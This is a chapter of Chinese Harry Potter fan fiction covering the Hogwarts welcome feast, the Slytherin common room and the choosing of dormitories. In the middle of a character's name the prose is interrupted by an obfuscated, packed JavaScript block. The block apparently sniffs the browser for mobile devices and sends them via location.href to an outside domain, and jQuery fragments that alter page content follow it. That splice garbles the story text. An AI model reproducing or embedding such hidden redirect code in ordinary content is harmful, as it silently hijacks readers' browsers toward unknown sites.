晚宴结束时，邓布利多教授又一次站了起来，礼堂也恢复肃静。
“哦，想必大家已经吃饱喝足了，那么是时间再说几句了。在学期开始的时候，我要向大家提出几点注意事项：”
“首先，让我们欢迎新任的黑魔法防御课课教授——巴纳比·克洛维（Barnaby Clovey）教授！”
霍格沃兹的黑魔法防御课教授职位相当有名。据说是一个被神秘人诅咒了的位置，没有哪个人能顺利连任——总会有各种意外状况发生，让授课教师不得不每年都发生更换。
卡斯托提起这件事时说，有人曾私下怀疑神秘人还没死的一个重要原因，就是黑魔法防御课的诅咒还未解除——在卡斯托最后一学年，即1982年9月入职的埃弗拉德·斯威夫特（Everard Swift）教授，就因为在一次课堂演示中，展示其未开发完全的记忆类咒语，出现意外，将他自己的短期记忆彻底打乱。醒来后的教授无法连贯地记住过去一周发生的事情，也无法进行复杂教学，于是不得不离职休养。
“愿梅林保佑这个可怜人。”西格纳斯在掌声的间隙，听到旁边拉文克劳长桌的方向，有人这样低喃着。
“然后，一年级的新生需要注意，未经教师带领，严格禁止任何学生进入学校场地上那片林区——不仅仅是新生，老生也要好好记住这一点。”
邓布利多那双半月眼镜下仍旧闪亮的眼睛，看向了格兰芬多的金红色长桌——显然，那边的惯犯可是不少。
“再有，不要在走廊、庭院、礼堂里施法，相信我，你的教授们会很欢迎你们在教学区域进行练习。”
“哦，还有，魁地奇球员审核工作，将在两周后举行。凡是希望参加学院代表队的同学，请与霍琦女士联系——对了，一年级新生除外。”邓布利多补充的这一句，让西格纳斯不出意料地听到了不少新生懊恼的叹息声。
“最后，夜间宵禁的时间是晚上9点，9点以后不得离开本学院的公共休息室。”邓布利多说着，拍了拍手，“所以，在大家回到寝室前，让我们一起来唱校歌吧！”
西格纳斯确信，在邓布利多提起“校歌”一词之后，其他教师的笑容都僵住了。
邓布利多将他的魔杖轻轻一弹，金色的烟雾从他魔杖的顶端冒出，扩散、扭动，凝聚成了一行行闪烁着星光的文字。
“来吧！来吧！每个人选择自己喜欢的曲调！”邓布利多挥舞着魔杖，把它当成指挥棒，“预备——唱！”
“霍格沃兹，霍格沃兹，霍格沃兹，霍格沃兹，请教给我们知识……”
西格纳斯张了张嘴，还是没能吐出哪怕一个音符。
他现在理解了教师席的教授们，那铁青的脸色因何而来了——耳边炸响的稀奇古怪的调子所叠加出来的混乱音阶、有快有慢到让人糟心的诡异节奏……若是巴赫、贝多芬、莫扎特等音乐家死后有知，怕不是变成阴尸也要从墓地里爬出来，与当代最伟大的巫师大战三百回合。
而当他听见罗齐尔兄弟竟然饶有兴趣的以德国小调哼唱了两句时，只觉得眼前一黑，甚至一瞬间产生了“也许让神秘人统治这个巫师界也不错”的荒谬想法。
等大家七零八落地唱完这首校歌，邓布利多更是擦了擦眼睛感叹道：“音乐，真是充满魅力啊！”
西格纳斯深吸一口气，他理论上同意邓布利多的观点——但是如果可以，他绝对不想沦落到，和邓布利多具有同等审美的地步。
“好了各位，是就寝的时间了。”邓布利多说着，“大家回寝室去吧！”
教师们从主宾席上站起，目送各自学院的学生回寝室。
学院长桌的桌面变得干干净净，学生们纷纷站起身来。
格兰芬多的方向是最吵闹的——他们用比赫奇帕奇更少的人数，输出了至少三倍于赫奇帕奇的声量。那个呼喊着“格兰芬多！格兰芬多都来我这！”的声音——西格纳斯微微眯了一下眼睛——与霍格沃兹特快上的那个级长男声对上了。
赫奇帕奇人数最多，人流像是成群的旅鼠或是狐獴，抱着团地向礼堂外移动。窸窸窣窣的小声交谈，因为人员基数过大，而交汇成了低频的嗡嗡声。
拉文克劳的人数就要少的多，也安静的多。他们汇集在拉文克劳的级长身后，以极低的音量交谈着，陆续离开礼堂。
斯莱特林今年一共仅迎来了9名新生，7男2女。与格兰芬多、赫奇帕奇动辄几十人的新生数量没得比，但也算丰收——毕竟1982年时，斯莱特林险些招不到新生。
“斯莱特林新生，随我们来。”一男一女两位高年级斯莱特林走到了最前方，他们胸前佩戴着一枚银绿交织的徽章，那应当是级长的标志。
西格纳斯看见卡西乌斯·博克走向一位身姿挺拔的银发女巫，在她身边站定，与她交谈；交谈过程中，偶尔还会看向自己的方向——看来这位蓝眼睛的女士，就是刚刚那个与博克进行眼神交流的人。
有其他高年级斯莱特林从她身边经过时，与她打招呼——从口型来看，应该叫的是……“弗利女士”？原来这位就是“弗利女士”。
不足五十人的队伍与其他学院庞大的队伍相比，透出一种人丁寥落的凋敝感。
他们走出礼堂，在大理石楼梯左侧，有一篇门，门后是一条通往地下的石阶，石阶很长，以一个缓和的弧度向下延伸；行至石阶尽头后，一道拱形石廊出现在眼前，阴冷昏暗的走廊里，零星的火把分布在两侧粗糙的石壁上，提供的光亮非常有限。
不同于其他新生紧跟在级长身边，西格纳斯和罗齐尔兄弟坠在队伍的最后，边走边观察着周围的环境。
走廊的长度惊人，或者说，那不断盘绕回折如同迷宫一般的长廊，让人无法明确感知到真实的长度。
“这里的好处，就是皮皮鬼（Peeves）不常出现。”行走间，一个音乐般的男声，在身边响起。
西格纳斯循声望去，只见一位深色头发、肤色在走廊幽幽的绿光中显得偏深、脸上带着热情爽朗笑容的人，正看着自己。
“皮皮鬼？”西格纳斯好奇。
卡斯托在西格纳斯入学前，为他介绍了学校的基本情况，包括学院分别、核心课程、重要人物等，介绍了校长、院长们，以及其他几门重要课程的教授（当然，不包括一年一变的黑魔法防御课教授），但并未包括城堡里的幽灵等存在——毕竟卡斯托一向认为，要给西格纳斯的校园生活留点未知的惊喜——即使西格纳斯觉得他并不需要什么惊喜，尤其是类似“入学前体能测试”这类的。
“一种霍格沃兹特产的……幽灵？也不算是幽灵，更应该称呼为‘骚灵’……总之就是一种捣蛋鬼，热衷于恶作剧，经常给人带来麻烦——尤其喜欢欺负新生。”男生亲切地介绍道，“据说只有咱们斯莱特林的幽灵，也就是血人巴罗先生，能震慑住他，。”
血人巴罗，指的应该就是先前长桌尽头出现的，那位一直沉默着的幽灵。
“感谢你的介绍，先生。”西格纳斯微笑着表达感谢。
“安东尼奥·埃斯波西托-霍兰德（Antonio Esposito-Hollander），二年级。”他自我介绍着，“来自阳光明媚的西西里。”然后，他停下脚步，摆出一个夸张的宫廷觐见礼，继续说道：“你也可以叫我‘安东尼’，有什么问题都可以来问我——为美人服务是我的荣幸。”
“油嘴滑舌的意大利人，”埃里希忽然插嘴，“说出口的话，可信度总要打个折扣。”说着，推着西格纳斯继续往前走。
安东尼奥站直身体追上队伍，毫不示弱地回应，“还是第一次有人因为国籍而批判我，真不愧是鼎鼎大名的‘罗齐尔’。”
洛塔尔闻言也加入战局：“卡米拉·埃斯波西托 (Camilla Esposito)女士声名赫赫，我们总要提醒一下。”
“没想到欧陆的巫师，这么关注我母亲这样一位普通的麻瓜啊！”安东尼奥笑得一脸阳光，但在走廊的绿色光源映衬下，有股说不清的阴沉。
“西西里的‘埃斯泼西托’，”洛塔尔也笑着回应，“那可不是普通的麻瓜，不是吗？——地下王女‘强娶王夫’的故事，我们在慕尼黑都听说过。”
西格纳斯终于想起来“埃斯泼西托”这个姓氏在哪里听过了——之前卡斯托当睡前故事讲起过：卡米拉·埃斯波西托，意大利黑手党埃斯泼西托家族的“皇太女”。十几年前，作为一个知晓魔法界存在的麻瓜，她看上了一位去西西里参加魔法植物交流活动的英国巫师，最后竟然将那名男巫“强抢入赘”了！——这正是卡斯托“男孩子在外面要学会保护自己”教育故事的素材来源啊！
制止这场口头纷争的，是另一个人伸过来的手——一把扯住安东尼奥的衣领，将人拉回了原先的位置，同时说着：“快到了，别去跟新生贫嘴了。”
安东尼奥显然符合“贫嘴”这个评价，他立刻将注意力转向了对方：“哈伦，亲爱的，你这是吃醋了吗？放心，就算有再多美人，你也是最特殊的那个，毕竟我们同床共——”
被称为“哈伦”的人出手，精准地捏住了安东尼奥的嘴巴，制止了他的话语。他语气带出几分无力，“别把住在同一个寝室说得这么暧昧。”然后，他转头向身后的西格纳斯等人一点头，“哈伦·特拉弗斯 (Harlan Travers)，也是二年级。”
安东尼奥挣脱了哈伦的手——他本身也没用多大力气，说道：“现在整个斯莱特林二年级，只有我们两个人。我们结伴同行，相依为命——嗷！”安东尼奥叫了一声，原来是哈伦踩了他的脚一下，制止了他继续满嘴跑火车式的发言。
此时，一堵石墙出现在了走廊的尽头，除了潮湿渗水的石壁之外，周围一片空荡。
队伍停在石壁前。
“所有人都是记住，本周的口令是：权利（Authority）”领路的男级长转身对着众人说道。
随着他的话语，一道石门浮现，然后无声滑开，露出了其后的隐藏空间——斯莱特林的公共休息室：
整个空间狭长、低矮，墙壁和天花板都是粗糙且湿润的石壁结构；由链子拴着的灯，从天花板上垂了下来，散发着莹莹的绿光；巨大的落地窗之外，是同样幽绿的湖水，偶尔还能看见不只是什么生物的影子，被投射在长窗之上。
绿幽幽的灯光和湖水，让整个休息室空间呈现出一种浓郁的墨绿色调，给人一种仿佛水下百年沉船般的寂静幽深感。
雕刻精美的壁炉里燃着一堆炭火，带来额外的光亮和温暖，壁炉周边摆放着黑色雕花椅，上面分散堆放着墨绿色的丝绒靠枕；同样款式的雕花茶几上，暂时还没有摆上任何装饰。
出乎意料的是，据说会被送到寝室的行李，竟然也被堆放在休息室的一侧。
两位带路的级长对视一眼，女级长首先开口说道：“除了一年级新生，其他人请先回寝室吧！”
斯莱特林们没有表现出异议，男女生分成两个方向，返回各自的寝室。西格纳斯看见博克目送弗利女士进了通道，随后自己才走向寝室；安东尼奥在离开前，还冲着西格纳斯挥了挥手。
现场只剩另外两名高年级斯莱特林，也是一男一女，还没有离开。其中这位女士看了看留下来的新生，开口道：“两位女生，可以带着行李先回去休息——你们只有两个人，必然是住在同一间寝室的。”
两位女性新生对视一眼，其中一位开口询问：“我们可以留在这里看一下吗？”
西格纳斯记得分院仪式时，麦格教授称呼她为“格兰达·塔格伍德（Glenda Tugwood）”。
之所以会记住这个名字，完全是因为“塔格伍德”这个姓氏——18世纪末至19世纪初，有一位著名的美容药剂先驱和魔药大师：发明了多种革命性的美容魔药，同样登上了巧克力蛙画片——萨克丽萨·塔格伍德（Sacharissa Tugwood）女士，魔法美容药剂学领域的奠基人之一。
“当然可以，你们来我这里。”那位女士回应，然后转头看向刚刚和自己一起留下来的男士，“阿仕顿（Ashton），你来安排吧！”
“好的，伊莫金（Imogen）小姐。”这名高年级斯莱特林男生点了点头，然后转向新生们，“我是阿仕顿·维尔德（Ashton Wylde），六年级男级长；这位是伊莫金·福斯特（Imogen Fr
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117899|179996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
ost）女士，六年级女级长。”
他说完，又介绍起之前带路的两位级长：“维克托·弗罗斯泰尔（Victor Frostell），五年级男级长。”说着，名为“维克多”的级长点头致意，“以及埃洛伊丝·诺克特（Eloise Nockert）女士，五年级女级长。”被点名的女级长也起身行礼。
“想必你们也疑惑，为什么行李没有被放入寝室。”维尔德级长说，“这是因为，之前由于一些原因，发生过比较严重的寝室纷争，涉及到寝室更换的问题。”
他说得相当含蓄，但只要稍微想想，就能猜到肯定不会真的仅是这么轻描淡写的矛盾。
“斯内普院长不希望，将时间浪费在调节寝室纠纷上。”他继续说着，“所以，他给了你们一个机会——只在今晚有效的机会：你们可以自行选择寝室的舍友，所幸我们现在有足够多的空房间——当然，没有单人寝室的选项。”
西格纳斯眉头微挑，感觉摸到了一点院长的行事癖好。
“你们可以自行决定和谁同住。”维尔德的话语相当意味深长，“决定的方法，任你们选择——而我们这些级长，仅是见证和监督。”
西格纳斯瞥见了塞尔温和罗尔家的两人，似乎蠢蠢欲动地想要掏出魔杖，不由得感觉有些可笑——大家都是11岁孩童的水平，那点可怜的魔力储备，难道要用家务魔咒或恶作剧魔咒一决胜负吗？
这么想着，西格纳斯并没有掏出魔杖，而是从自己的随身药剂包里，抽出了两支成品药剂夹在指间。
“我不介意谁是我的室友。”西格纳斯说着，“但是，若是影响到我了，我更不介意……”话没有说完，他晃了晃指间的魔药瓶，意有所指。
说完，他看向五年级和六年级的级长，“请问我可以先回寝室吗？我可有不少东西需要整理呢！”
四位级长有些诧异地互相对视一眼，最后还是名为阿仕顿·维尔德的男性六年级级长点了头。
西格纳斯抽出自己的魔杖，在行李箱的家徽上一点，所有属于自己的行李就都浮了起来，跟随者西格纳斯向寝室走去——感谢卡斯托思虑周全，家徽下暗刻了辩识咒、漂浮咒、移动咒等全套辅助魔咒，只需要一点魔力就能激活，甚至不需要咒语——仿佛是无声咒一样的效果，狠狠地震慑住了不知情的同龄人。
西格纳斯回头看了看同年的新生，目光与罗齐尔兄弟交汇了一瞬，然后转身走进了寝室的通道。
进入寝室首先注意到的，就是门口正对着的墙壁上，两扇落地长窗，月光透过幽绿的湖水，在窗上留下荡漾的水纹；天花板上悬挂着银色的灯笼，给室内增添了一道光源。在水光和灯光的映衬下，四张悬挂着绿色丝绸制帷幔的四柱床，分别摆在房间的两侧。
每张床的床头，都是一组三层的柜格，可以用来随手放置一些小件物品；床边则都配有一个兼具衣柜功能的储物柜，方便学生放置自己的私人物品。
靠门一侧的墙壁上，悬挂着中世纪艺术风格的挂毯，描绘着一些冒险故事。
西格纳斯选中了房间左手边、靠近落地窗一侧的四柱床，打开行李箱，指挥着暂时用不上的行李物品，一件件地飘进施加了空间优化魔法的储物柜里；为床铺换上了以银线绣着常春藤纹的床单、枕头、抱枕等床上用品；将之前没看完的书籍、小型魔法道具、一些摆件，还有定制的魔杖架，放在了床头的柜格中。最后，将腾空的行李箱缩小，放置在储物柜的最底层；随身的手提箱，则维持着原本大小，塞在了床底。
他将自己的随身魔药包也放在了床头柜格中，看着小包轻轻一笑。里面放置的不过是安眠药水（Sleeping Daught）、清醒剂（Wideye Potion）、咳嗽药水（Cough Potion）、提神剂（Pepperup Potion）等日常药剂而已——霍格沃兹怎么可能同意学生携带高危魔药呢？
收拾好一切，西格纳斯没有急着去洗漱，而是爬上床，拿起了床头柜格中双面镜，呼唤起兄长的名字。
“西格尼？”卡斯托接通双面镜的速度很快，在看到弟弟身后熟悉的墨绿色帷幔后，露出了微笑，“地窖的感觉怎么样？”
西格纳斯在床铺上滚了一圈，“还不错！避光、阴凉、适度的湿润，最适合魔药稳定产出的环境。”他说着，“当初选址的斯莱特林阁下真是天才！”
卡斯托忍不住轻笑出声，然后继续问道，“那霍格沃兹呢？感觉如何？”
“你还敢说！”提起自家哥哥瞒着自己的内容，西格纳斯就一肚子的抱怨，“我从下了特快开始……”西格纳斯絮絮叨叨的向兄长抱怨起这一路“所受的委屈”来。
“……那个校歌，实在是太难听了！”西格纳斯说着开学宴的琐事时，终于有人进入了寝室。他抬头看去——罗齐尔兄弟一前一后地走了进来。
“西格尼？”弟弟忽然不说话了，正听得津津有味的卡斯托忍不住呼唤了一声。
“啊，我室友进来了。”西格纳斯回应着。
卡斯托这才发现，兄弟俩已经聊了好一会了，“对了，明天你就要开始上课了。”卡斯托说着，“你需要早点睡，今天就到此为止吧！先去盥洗室洗漱，然后早点休息。咱们可以之后再接着聊。”
“嗯，那卡索你也早点休息。”
“好梦，西格尼。”
兄弟俩的双面镜对话结束，西格纳斯将双面镜放回床头柜格中。
他倚靠着床柱，看着罗齐尔双胞胎收拾行李，“我还以为我会享受到双人间呢！”
洛塔尔一边用魔杖指挥着床单铺平，一边回应，“两个‘纯血至上’，一个魁地奇狂人，一个……普普通通？反正是毫无特色的家伙。你想换谁来？”
“也许……普普通通？”西格纳斯坐在床边摆着腿，“我可以当他不存在。”
“很遗憾，”埃里希收拾好了自己的行李，也加入了话题，“‘普普通通’先生已经跟魁地奇狂人共住了。”
“那三个人就三个人吧！”西格纳斯说着。
“不考虑两位‘纯血’吗？”洛塔尔笑着问着。西格纳斯瞥了他一眼，轻哼一声，“我讨厌蠢货。”